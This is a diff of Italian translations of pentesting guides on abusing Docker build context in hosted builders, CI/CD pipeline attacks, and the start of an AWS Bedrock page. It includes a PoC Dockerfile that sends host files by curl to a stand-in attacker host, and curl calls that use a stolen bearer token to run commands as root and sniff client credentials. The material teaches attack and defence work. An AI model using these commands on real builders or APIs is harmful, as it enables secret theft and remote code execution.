Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src

src/pentesting-ci-cd/docker-build-context-abuse.md

@@ -1,27 +1,29 @@
-# Abuso del Docker Build Context nei Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
+# Abuso del Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## TL;DR
 
-Se una piattaforma CI/CD o un hosted builder permette ai contributor di specificare il percorso del Docker build context e il percorso del Dockerfile, spesso puoi impostare il context su una directory padre (es., "..") e includere file dell'host nel build context. A quel punto, un Dockerfile controllato dall'attaccante può usare COPY ed exfiltrate secrets trovati nella home dell'utente del builder (per esempio, ~/.docker/config.json). I registry tokens rubati possono anche funzionare contro le control-plane APIs del provider, consentendo RCE a livello di organizzazione.
+Se una piattaforma CI/CD o un hosted builder permette ai contributori di specificare il percorso del Docker build context e il percorso del Dockerfile, spesso è possibile impostare il context su una directory padre (es., "..") e includere file dell'host nel build context. Un Dockerfile controllato dall'attaccante può quindi usare COPY per esfiltrare segreti presenti nella home dell'utente del builder (per esempio, ~/.docker/config.json). Token di registry rubati possono funzionare anche contro le control-plane APIs del provider, permettendo RCE a livello di organizzazione.
 
-## Superficie d'attacco
+## Attack surface
 
-Molti servizi hosted builder/registry eseguono più o meno questo quando costruiscono immagini fornite dagli utenti:
-- Leggere una config a livello di repo che include:
-  - build context path (inviato al Docker daemon)
-  - Dockerfile path relativo a quel context
-- Copiare la directory del build context indicata e il Dockerfile al Docker daemon
-- Buildare l'immagine ed eseguirla come servizio ospitato
+Molti hosted builder/registry services fanno più o meno questo quando costruiscono immagini inviate dagli utenti:
+- Leggono una repo-level config che include:
+- build context path (inviato al Docker daemon)
+- Dockerfile path relativo a quel context
+- Copiano la directory del build context indicata e il Dockerfile al Docker daemon
+- Costruiscono l'immagine e la eseguono come servizio ospitato
 
-Se la piattaforma non canonicalizza e limita il build context, un utente può impostarlo su una posizione esterna al repository (path traversal), causando che file arbitrari dell'host leggibili dall'utente di build diventino parte del build context e siano disponibili per COPY nel Dockerfile.
+Se la piattaforma non canonicalizza e non limita il build context, un utente può impostarlo su una posizione esterna al repository (path traversal), facendo sì che file arbitrari dell'host leggibili dall'utente di build diventino parte del build context e siano disponibili per COPY nel Dockerfile.
 
 Vincoli pratici comunemente osservati:
-- Il Dockerfile deve risiedere all'interno del path di context scelto e il suo percorso deve essere noto in anticipo.
+- Il Dockerfile deve risiedere all'interno del percorso context scelto e il suo percorso deve essere noto in anticipo.
 - L'utente di build deve avere permessi di lettura sui file inclusi nel context; file di device speciali possono interrompere la copia.
 
 ## PoC: Path traversal via Docker build context
+
+Example malicious server config declaring a Dockerfile within the parent directory context:
 ```yaml
 runtime: "container"
 build:
@@ -39,10 +41,10 @@ exampleConfig:
 apiKey: "sk-example123"
 ```
 Note:
-- L'uso di ".." spesso risolve nella home dell'utente builder (es., /home/builder), che tipicamente contiene file sensibili.
-- Posiziona il tuo Dockerfile nella directory con il nome del repo (es., repo "test" → test/Dockerfile) in modo che rimanga all'interno del contesto genitore espanso.
+- L'utilizzo di ".." spesso risolve alla home dell'utente builder (es., /home/builder), che tipicamente contiene file sensibili.
+- Posiziona il tuo Dockerfile sotto il nome della directory del repo (es., repo "test" → test/Dockerfile) in modo che rimanga all'interno del contesto genitore espanso.
 
-## PoC: Dockerfile per ingerire ed esfiltrare il contesto del host
+## PoC: Dockerfile per ingerire ed esfiltrare l'host context
 ```dockerfile
 FROM alpine
 RUN apk add --no-cache curl
@@ -52,32 +54,32 @@ RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
 ```
 Obiettivi comunemente recuperati da $HOME:
 - ~/.docker/config.json (registry auths/tokens)
-- Altre cache e config cloud/CLI (es., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
+- Altre cache e configurazioni cloud/CLI (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
 
-Suggerimento: Anche con un .dockerignore nel repository, la selezione del contesto lato piattaforma vulnerabile continua a governare ciò che viene inviato al daemon. Se la piattaforma copia il percorso scelto al daemon prima di valutare il .dockerignore del tuo repo, file dell'host potrebbero comunque essere esposti.
+Suggerimento: Anche con un .dockerignore nel repository, la selezione del contesto vulnerabile lato piattaforma continua a governare ciò che viene inviato al daemon. Se la piattaforma copia il percorso scelto al daemon prima di valutare il .dockerignore del tuo repo, i file dell'host potrebbero comunque essere esposti.
 
-## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
+## Pivot verso il cloud con overprivileged tokens (esempio: Fly.io Machines API)
 
-Alcune piattaforme emettono un singolo bearer token utilizzabile sia per il container registry sia per il control-plane API. Se riesci a exfiltrate un registry token, provane l'uso contro l'API del provider.
+Alcune piattaforme rilasciano un unico bearer token utilizzabile sia per il container registry che per la control-plane API. Se esfiltri un registry token, provalo contro l'API del provider.
 
-Esempi di chiamate API contro Fly.io Machines API usando lo stolen token da ~/.docker/config.json:
+Esempio di chiamate API contro Fly.io Machines API usando il token rubato da ~/.docker/config.json:
 
-Enumerate apps in an org:
+Enumerare le app in un org:
 ```bash
 curl -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps?org_slug=smithery"
 ```
-Eseguire un comando come root su qualsiasi macchina di un'app:
+Esegui un comando come root all'interno di qualsiasi macchina di un'app:
 ```bash
 curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
 ```
-Risultato: remote code execution a livello di organizzazione su tutte le app ospitate dove il token possiede privilegi sufficienti.
+Outcome: esecuzione remota di codice a livello dell'organizzazione su tutte le app ospitate dove il token dispone di privilegi sufficienti.
 
 ## Furto di segreti da servizi ospitati compromessi
 
-Con exec/RCE su server ospitati, puoi raccogliere segreti forniti dal client (API keys, tokens) o eseguire attacchi di prompt-injection. Esempio: installare tcpdump e catturare il traffico HTTP sulla porta 8080 per estrarre le credenziali in ingresso.
+Con exec/RCE su server ospitati, puoi raccogliere i segreti forniti dai client (API keys, tokens) o lanciare attacchi di prompt-injection. Esempio: installa tcpdump e cattura il traffico HTTP sulla porta 8080 per estrarre le credenziali in ingresso.
 ```bash
 # Install tcpdump inside the machine
 curl -s -X POST -H "Authorization: Bearer fm2_..." \
@@ -89,7 +91,7 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
 ```
-Le richieste catturate spesso contengono credenziali client nelle intestazioni, nei corpi o nei parametri di query.
+Le richieste catturate spesso contengono credenziali del client negli headers, nei bodies o nei query params.
 
 ## Riferimenti
 

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -6,7 +6,7 @@
 
 ## VCS
 
-VCS sta per **Sistema di Controllo delle Versioni**, questo sistema permette agli sviluppatori di **gestire il loro codice sorgente**. Il più comune è **git** e solitamente le aziende lo utilizzano in una delle seguenti **piattaforme**:
+VCS sta per **sistema di controllo versione**, questo sistema permette agli sviluppatori di **gestire il codice sorgente**. Il più comune è **git** e di solito troverai le aziende che lo usano in una delle seguenti **piattaforme**:
 
 - Github
 - Gitlab
@@ -18,39 +18,39 @@ VCS sta per **Sistema di Controllo delle Versioni**, questo sistema permette agl
 
 ## CI/CD Pipelines
 
-Le CI/CD pipelines permettono agli sviluppatori di **automatizzare l’esecuzione del codice** per vari scopi, inclusi build, test e deploy delle applicazioni. Questi workflow automatizzati sono **innescati da azioni specifiche**, come push di codice, pull request o task pianificati. Sono utili per snellire il processo dallo sviluppo alla produzione.
+CI/CD pipelines permettono agli sviluppatori di **automatizzare l'esecuzione del codice** per diversi scopi, inclusi build, test e deployment delle applicazioni. Questi workflow automatizzati sono **attivati da azioni specifiche**, come push di codice, pull request o task schedulati. Sono utili per snellire il processo dallo sviluppo alla produzione.
 
-Tuttavia, questi sistemi devono essere **eseguiti da qualche parte** e solitamente con **credenziali privilegiate per deployare codice o accedere a informazioni sensibili**.
+Tuttavia, questi sistemi devono essere **eseguiti da qualche parte** e di solito con **credenziali privilegiate per deployare codice o accedere a informazioni sensibili**.
 
 ## VCS Pentesting Methodology
 
 > [!NOTE]
-> Anche se alcune piattaforme VCS permettono di creare pipelines, in questa sezione analizzeremo solo potenziali attacchi al controllo del codice sorgente.
+> Anche se alcune piattaforme VCS permettono di creare pipeline per questa sezione analizzeremo solo potenziali attacchi al controllo del codice sorgente.
 
-Le piattaforme che contengono il codice sorgente del tuo progetto custodiscono informazioni sensibili e le persone devono essere molto attente alle autorizzazioni concesse all'interno di queste piattaforme. Questi sono alcuni problemi comuni nelle piattaforme VCS che un attacker potrebbe sfruttare:
+Le piattaforme che contengono il codice sorgente del tuo progetto contengono informazioni sensibili e le persone devono essere molto attente ai permessi concessi all'interno di questa piattaforma. Questi sono alcuni problemi comuni attraverso le piattaforme VCS che un attacker potrebbe abusare:
 
-- **Leaks**: Se il tuo codice contiene leak nei commit e l'attacker può accedere al repo (perché è pubblico o perché ha accesso), potrebbe scoprire i leak.
-- **Access**: Se un attacker può **accedere ad un account all'interno della piattaforma VCS** potrebbe ottenere **maggiore visibilità e permessi**.
+- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
+- **Access**: Se un attacker può **accedere a un account all'interno della piattaforma VCS** potrebbe ottenere **maggiore visibilità e permessi**.
 - **Register**: Alcune piattaforme permettono semplicemente a utenti esterni di creare un account.
-- **SSO**: Alcune piattaforme non permettono registrazioni dirette, ma consentono a chiunque con un SSO valido di accedere (ad esempio un attacker potrebbe usare il suo account github per entrare).
-- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... ci sono diversi tipi di token che un utente potrebbe rubare per accedere in qualche modo a un repo.
-- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
-- If no secret is in place, the attacker could abuse the webhook of the third party platform
-- If the secret is in the URL, the same happens and the attacker also have the secret
-- **Code compromise:** Se un attore malevolo ha qualche tipo di **write** su un repo, potrebbe provare a **iniettare codice malevolo**. Per avere successo potrebbe essere necessario **bypassare le branch protections**. Queste azioni possono essere eseguite con diversi obiettivi:
-  - Compromettere il main branch per **compromettere la produzione**.
-  - Compromettere il main (o altri branch) per **compromettere le macchine degli sviluppatori** (poiché solitamente eseguono test, terraform o altre operazioni locali sui repo).
-- **Compromise the pipeline** (vedi sezione successiva)
+- **SSO**: Alcune piattaforme non permettono la registrazione, ma consentono a chiunque di accedere con un SSO valido (quindi un attacker potrebbe usare il suo account github per entrare, per esempio).
+- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... esistono diversi tipi di token che un utente potrebbe rubare per accedere in qualche modo a un repo.
+- **Webhooks**: Le piattaforme VCS permettono di generare webhooks. Se non sono **protetti** con secret non visibili un **attacker potrebbe abusarne**.
+- Se non è presente alcun secret, l'attacker potrebbe abusare del webhook della piattaforma di terze parti
+- Se il secret è nell'URL, accade la stessa cosa e l'attacker ottiene anche il secret
+- **Code compromise:** Se un actor maligno ha qualche tipo di accesso in scrittura sui repo, potrebbe provare a **iniettare codice malevolo**. Per avere successo potrebbe aver bisogno di **bypassare le protezioni dei branch**. Queste azioni possono essere compiute con diversi obiettivi:
+- Compromettere il main branch per **compromettere la production**.
+- Compromettere il main (o altri branch) per **compromettere le macchine degli sviluppatori** (poiché di solito eseguono test, terraform o altre cose all'interno del repo sulle loro macchine).
+- **Compromettere la pipeline** (vedi sezione successiva)
 
 ## Pipelines Pentesting Methodology
 
 Il modo più comune per definire una pipeline è tramite un **file di configurazione CI ospitato nel repository** che la pipeline builda. Questo file descrive l'ordine dei job eseguiti, le condizioni che influenzano il flusso e le impostazioni dell'ambiente di build.\
-Questi file tipicamente hanno nomi e formati coerenti, per esempio — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e i file YAML di GitHub Actions sotto .github/workflows. Quando viene triggerata, la pipeline job **pulls the code** dalla sorgente selezionata (es. commit / branch), e **esegue i comandi specificati nel CI configuration file** su quel codice.
+Questi file tipicamente hanno un nome e un formato consistente, per esempio — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), e i file YAML di GitHub Actions situati sotto .github/workflows. Quando viene triggerata, la job della pipeline **pulls the code** dalla source selezionata (es. commit / branch), e **esegue i comandi specificati nel CI configuration file** su quel codice.
 
-Quindi l'obiettivo ultimo dell'attacker è in qualche modo **compromettere quei file di configurazione** o i **comandi che essi eseguono**.
+Quindi l'obiettivo finale dell'attacker è in qualche modo **compromettere quei file di configurazione** o i **comandi che essi eseguono**.
 
 > [!TIP]
-> Alcuni hosted builders permettono ai contributor di scegliere il Docker build context e il Dockerfile path. Se il context è controllato dall'attacker, potresti impostarlo fuori dal repo (es. "..") per ingerire file dell'host durante il build ed esfiltrare secrets. Vedi:
+> Alcuni hosted builders permettono ai contributor di scegliere il contesto di build Docker e il percorso del Dockerfile. Se il contesto è controllato dall'attacker, puoi impostarlo al di fuori del repo (es., "..") per ingerire file dell'host durante la build ed esfiltrare secret. Vedi:
 >
 >{{#ref}}
 >docker-build-context-abuse.md
@@ -58,53 +58,53 @@ Quindi l'obiettivo ultimo dell'attacker è in qualche modo **compromettere quei
 
 ### PPE - Poisoned Pipeline Execution
 
-The Poisoned Pipeline Execution (PPE) path sfrutta i permessi in un repository SCM per manipolare una CI pipeline ed eseguire comandi dannosi. Utenti con i permessi necessari possono modificare i file di configurazione CI o altri file usati dal job della pipeline per includere comandi malevoli. Questo "avvelena" la pipeline CI, portando all'esecuzione di tali comandi dannosi.
+La Poisoned Pipeline Execution (PPE) sfrutta i permessi in un repository SCM per manipolare una CI pipeline ed eseguire comandi dannosi. Utenti con i permessi necessari possono modificare i file di configurazione CI o altri file usati dalla job di pipeline per includere comandi malevoli. Questo "avvelena" la CI pipeline, portando all'esecuzione di tali comandi malevoli.
 
-Perché un attore malevolo abbia successo in un attacco PPE deve essere in grado di:
+Perché un actor maligno abbia successo eseguendo un attacco PPE deve essere in grado di:
 
-- Avere **write access alla piattaforma VCS**, poiché solitamente le pipeline sono triggerate quando viene fatto un push o una pull request. (Vedi la VCS pentesting methodology per un riepilogo dei modi per ottenere accesso).
-- Nota che a volte una **PR esterna conta come "write access"**.
-- Anche se ha permessi di scrittura, deve essere sicuro di poter **modificare il file di config CI o altri file su cui la config si basa**.
-- Per fare ciò potrebbe dover essere in grado di **bypassare branch protections**.
+- Avere **accesso in scrittura alla piattaforma VCS**, poiché di solito le pipeline sono triggerate quando viene effettuato un push o una pull request. (Vedi la VCS pentesting methodology per un riepilogo dei modi per ottenere accesso).
+- Nota che a volte una **PR esterna conta come "accesso in scrittura"**.
+- Anche se ha permessi di scrittura, deve essere sicuro di poter **modificare il CI config file o altri file su cui il config si basa**.
+- Per questo, potrebbe aver bisogno di essere in grado di **bypassare le protezioni dei branch**.
 
 Ci sono 3 varianti di PPE:
 
-- **D-PPE**: Un attacco **Direct PPE** si verifica quando l'attore **modifica il file di config CI** che verrà eseguito.
-- **I-DDE**: Un attacco **Indirect PPE** si verifica quando l'attore **modifica** un **file** su cui il file di config CI fa **relay** (come un Makefile o una configurazione terraform).
-- **Public PPE or 3PE**: In alcuni casi le pipelines possono essere **triggerate da utenti che non hanno write access al repo** (e che potrebbero non far parte dell'org) perché possono inviare una PR.
-- **3PE Command Injection**: Di solito, CI/CD pipelines imposteranno environment variables con informazioni sulla PR. Se quel valore può essere controllato da un attacker (come il titolo della PR) e viene **usato** in un punto **pericoloso** (ad es. per eseguire comandi sh), un attacker potrebbe **iniettare comandi lì dentro**.
+- **D-PPE**: Un attacco **Direct PPE** avviene quando l'actor **modifica il CI config** file che verrà eseguito.
+- **I-DDE**: Un attacco **Indirect PPE** avviene quando l'actor **modifica** un **file** su cui il CI config che verrà eseguito **si appoggia** (come un makefile o una configurazione terraform).
+- **Public PPE or 3PE**: In alcuni casi le pipeline possono essere **triggerate da utenti che non hanno accesso in scrittura nel repo** (e che potrebbero non far parte nemmeno dell'organizzazione) perché possono inviare una PR.
+- **3PE Command Injection**: Di solito, CI/CD pipelines impostano **variabili d'ambiente** con **informazioni sulla PR**. Se quel valore può essere controllato da un attacker (come il titolo della PR) e viene **usato** in un **punto pericoloso** (come eseguire comandi sh), un attacker può **iniettare comandi lì dentro**.
 
 ### Exploitation Benefits
 
-Conoscendo le 3 varianti per avvelenare una pipeline, vediamo cosa un attacker potrebbe ottenere dopo un exploit riuscito:
+Conoscendo le 3 varianti per avvelenare una pipeline, vediamo cosa un attacker potrebbe ottenere dopo una sfruttamento riuscito:
 
-- **Secrets**: Come già menzionato, le pipeline richiedono **privilegi** per i loro job (recuperare il codice, buildarlo, deployarlo...) e questi privilegi sono solitamente **conservati in secrets**. Questi secrets sono spesso accessibili tramite **env variables o file all'interno del sistema**. Pertanto un attacker cercherà sempre di esfiltrare quanti più secrets possibile.
-- A seconda della piattaforma pipeline, l'attacker **potrebbe dover specificare i secrets nella config**. Questo significa che se l'attacker non può modificare la configurazione CI (es. I-PPE), potrebbe **esfiltrare solo i secrets che quella pipeline possiede**.
-- **Computational resources**: Il codice viene eseguito da qualche parte; a seconda di dove viene eseguito un attacker potrebbe essere in grado di pivotare ulteriormente.
-- **On-Premises**: Se le pipeline sono eseguite on-premises, un attacker potrebbe ritrovarsi in una **rete interna con accesso ad altre risorse**.
-- **Cloud**: L'attacker potrebbe accedere **ad altre macchine nel cloud** ma anche **esfiltrare** IAM roles/service accounts **tokens** da esso per ottenere **ulteriore accesso nel cloud**.
-- **Platforms machine**: A volte i job vengono eseguiti nelle **macchine della piattaforma pipeline**, che solitamente stanno in un cloud senza altri accessi.
-- **Select it:** Talvolta la **piattaforma pipeline ha diverse macchine configurate** e se puoi **modificare il file di config CI** puoi **indicare dove vuoi eseguire il codice malevolo**. In questa situazione un attacker probabilmente aprirà una reverse shell su ciascuna macchina possibile per cercare di sfruttarla ulteriormente.
-- **Compromise production**: Se sei all'interno della pipeline e la versione finale viene buildata e deployata da essa, potresti **compromettere il codice che finirà in produzione**.
+- **Secrets**: Come menzionato in precedenza, le pipeline richiedono **privilegi** per i loro job (recuperare il codice, buildarlo, deployarlo...) e questi privilegi sono di solito **conservati in secrets**. Questi secret sono generalmente accessibili tramite **env variables o file all'interno del sistema**. Pertanto un attacker cercherà sempre di esfiltrare quanti più secret possibile.
+- A seconda della piattaforma di pipeline l'attacker **potrebbe dover specificare i secret nella config**. Questo significa che se l'attacker non può modificare la pipeline CI configuration (**I-PPE** per esempio), potrebbe **esfiltrare solo i secret che quella pipeline possiede**.
+- **Computation**: Il codice viene eseguito da qualche parte; a seconda di dove viene eseguito un attacker potrebbe essere in grado di pivotare ulteriormente.
+- **On-Premises**: Se le pipeline sono eseguite on-premises, un attacker potrebbe trovarsi in una **rete interna con accesso a ulteriori risorse**.
+- **Cloud**: L'attacker potrebbe accedere **ad altre macchine nel cloud** ma anche **esfiltrare** token di ruoli IAM/service accounts per ottenere **ulteriore accesso all'interno del cloud**.
+- **Platforms machine**: A volte i job vengono eseguiti nelle **macchine della piattaforma pipelines**, che di solito sono in un cloud senza accessi aggiuntivi.
+- **Select it:** A volte la **piattaforma pipeline ha configurato diverse macchine** e se puoi **modificare il CI configuration file** puoi **indicare dove vuoi far girare il codice malevolo**. In questa situazione, un attacker probabilmente eseguirà una reverse shell su ogni macchina possibile per tentare un ulteriore sfruttamento.
+- **Compromise production**: Se sei all'interno della pipeline e la versione finale è buildata e deployata da essa, potresti **compromettere il codice che finirà in esecuzione in produzione**.
 
 ## More relevant info
 
 ### Tools & CIS Benchmark
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) è uno strumento open-source per auditare la tua supply chain software per la compliance di sicurezza basata sul nuovo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit si concentra sull'intero processo SDLC, dove può rivelare rischi dal time of code fino al deploy.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) è uno strumento open-source per auditare la tua software supply chain stack per compliance di sicurezza basata su un nuovo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit si concentra sull'intero processo SDLC, dove può rivelare rischi dal codice fino al deploy.
 
 ### Top 10 CI/CD Security Risk
 
-Leggi questo articolo interessante sui top 10 rischi CI/CD secondo Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Consulta questo interessante articolo sui top 10 rischi CI/CD secondo Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
 ### Labs
 
-- Per ogni piattaforma che puoi eseguire localmente troverai come avviarla localmente così puoi configurarla come vuoi per testarla
+- Su ogni piattaforma che puoi eseguire localmente troverai come avviarla localmente così puoi configurarla come vuoi per testarla
 - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools
 
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** è uno strumento di analisi statica del codice per infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** è uno strumento di static code analysis per infrastructure-as-code.
 
 ## References
 

src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md

@@ -4,7 +4,7 @@
 
 ## Panoramica
 
-Amazon Bedrock è un servizio completamente gestito che semplifica la creazione e la scalabilità di applicazioni di IA generativa utilizzando foundation models (FMs) di startup AI leader e di Amazon. Bedrock fornisce accesso a diversi FMs tramite una singola API, permettendo agli sviluppatori di scegliere il modello più adatto ai loro casi d'uso specifici senza dover gestire l'infrastruttura sottostante.
+Amazon Bedrock è un servizio completamente gestito che semplifica la creazione e la scalabilità di applicazioni di AI generativa usando foundation models (FMs) di startup AI leader e di Amazon. Bedrock fornisce accesso a vari FMs attraverso una singola API, permettendo agli sviluppatori di scegliere il modello più adatto ai loro casi d'uso specifici senza gestire l'infrastruttura sottostante.
 
 ## Post Exploitation